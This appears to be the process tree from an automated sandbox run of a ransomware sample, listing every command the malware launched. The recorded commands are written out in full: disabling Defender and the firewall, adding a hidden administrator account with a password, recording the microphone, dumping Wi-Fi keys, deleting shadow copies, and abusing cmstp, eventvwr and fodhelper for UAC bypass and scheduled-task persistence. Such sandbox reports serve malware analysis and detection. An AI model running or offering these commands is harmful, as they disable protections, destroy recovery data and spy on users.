        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        23⤵
        Creates a new local user account
        
        PID:7996
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        22⤵
        
        PID:13744
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        23⤵
        
        PID:15920
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        22⤵
        
        PID:9864
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        20⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6416
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        20⤵
        Creates a new local user account
        
        PID:10460
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        21⤵
        Creates a new local user account
        
        PID:13368
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        20⤵
        
        PID:14996
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        21⤵
        
        PID:14328
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        20⤵
        
        PID:14796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286690902193529.wav')"
        20⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8216
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        20⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:9964
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        20⤵
        Interacts with shadow copies
        
        PID:10512
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        20⤵
        
        PID:5348
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        20⤵
        
        PID:15852
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        20⤵
        Modifies Windows Firewall
        
        PID:12208
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:12172
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        18⤵
        Creates a new local user account
        
        PID:7980
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        19⤵
        Creates a new local user account
        
        PID:3756
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        18⤵
        
        PID:14196
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        19⤵
        
        PID:16232
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        18⤵
        
        PID:12556
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286690632655946.wav')"
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11972
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        18⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:15532
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        18⤵
        Interacts with shadow copies
        
        PID:12248
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        18⤵
        
        PID:12808
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        18⤵
        
        PID:13452
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        19⤵
        
        PID:1104
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        18⤵
        Modifies Windows Firewall
        
        PID:13640
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        18⤵
        Launches sc.exe
        
        PID:13156
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:13560
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        Creates a new local user account
        
        PID:1152
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:8512
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:11052
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:15272
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        16⤵
        
        PID:15648
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286690381089395.wav')"
        16⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8708
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        16⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:13340
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        16⤵
        Interacts with shadow copies
        
        PID:16232
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        16⤵
        
        PID:16328
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        16⤵
        
        PID:9416
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        17⤵
        
        PID:13292
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        16⤵
        Modifies Windows Firewall
        
        PID:13680
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        16⤵
        Launches sc.exe
        
        PID:6868
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:10200
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:8584
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:11868
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:11884
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:11332
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:6228
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:14348
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286690262071100.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11600
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        14⤵
        Interacts with shadow copies
        
        PID:6724
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        14⤵
        
        PID:15856
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        14⤵
        
        PID:9648
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        15⤵
        
        PID:13104
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        14⤵
        Modifies Windows Firewall
        
        PID:12784
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        14⤵
        Launches sc.exe
        
        PID:4400
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8216
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:7580
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:9536
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:9924
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:10292
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:12876
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:13924
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286690212521885.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12568
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        12⤵
        Interacts with shadow copies
        
        PID:10216
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        12⤵
        
        PID:6308
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        12⤵
        
        PID:14940
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        13⤵
        
        PID:6360
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        12⤵
        Modifies Windows Firewall
        
        PID:9320
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        12⤵
        Launches sc.exe
        
        PID:7616
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8008
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:8480
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:8828
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:9204
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:4160
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:11652
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:14432
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286690113829249.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:16224
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        10⤵
        Interacts with shadow copies
        
        PID:12880
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        10⤵
        
        PID:10452
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        10⤵
        
        PID:11096
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        11⤵
        
        PID:12916
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        10⤵
        Modifies Windows Firewall
        
        PID:11832
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        10⤵
        Launches sc.exe
        
        PID:10180
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:3968
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:5536
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:7252
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:7556
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:8088
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:8528
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:12652
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286689949184590.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13112
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        8⤵
        Interacts with shadow copies
        
        PID:13716
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        8⤵
        
        PID:14272
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        8⤵
        
        PID:7356
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        9⤵
        
        PID:15764
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        8⤵
        Modifies Windows Firewall
        
        PID:14500
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:5212
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:5032
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:6812
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:7096
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:3356
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:6052
      - C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:8596
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286689871276185.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11564
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:11684
      - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:11444
      - C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        6⤵
        
        PID:12848
      - C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        6⤵
        
        PID:9532
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        7⤵
        
        PID:14816
      - C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        
        PID:9648
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:15484
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:4768
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:3964
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:2492
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:5860
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:2468
  - - C:\Windows\SYSTEM32\notepad.exe
      "notepad.exe"
      4⤵
      PID:7416
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286689821012649.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:9688
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:9812
  - - C:\Windows\System32\vssadmin.exe
      "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:10160
  - - C:\Windows\System32\wbem\WMIC.exe
      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
      4⤵
      PID:6188
  - - C:\Windows\System32\net.exe
      "C:\Windows\System32\net.exe" stop srservice
      4⤵
      PID:9948
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        5⤵
        
        PID:460
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:10688
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wuauserv
      4⤵
      Launches sc.exe
      PID:7880
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:2696
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:3304
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:4272
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:3564
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:2296
- C:\Windows\SYSTEM32\notepad.exe
  "notepad.exe"
  2⤵
  PID:6600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639286689826128331.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:10224
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:9036
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:11200
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:10544
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:2628
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:7072
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:11520
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:10260

C:\Users\Admin\AppData\Local\tcpmon.exe
C:\Users\Admin\AppData\Local\tcpmon.exe
1⤵
PID:4432
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5356
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\0a2b1bb0-bced-4e0f-be1f-1b4599be3a3f.inf
  2⤵
  PID:3788
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  PID:3592
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:3408
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:3424
- - C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
    3⤵
    PID:4600
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2404
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\f3169fbc-11e8-4aa7-89a8-7a0cce9d974d.inf
      4⤵
      PID:4992
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:4388
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:4212
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:4552
    - - C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        5⤵
        
        PID:3504
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7040
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\730a1b17-0688-4221-a63c-7863a9237449.inf
        6⤵
        
        PID:7144
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:4216
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:6300
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:5952
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
        7⤵
        
        PID:6272
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7472
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\686d59fe-5004-4cd7-bc97-ad92a1dcb814.inf
        8⤵
        
        PID:7592
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:7868
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:7928
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:7972
        
        C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilactvtructiepbongdag.tv_ransome.exe"
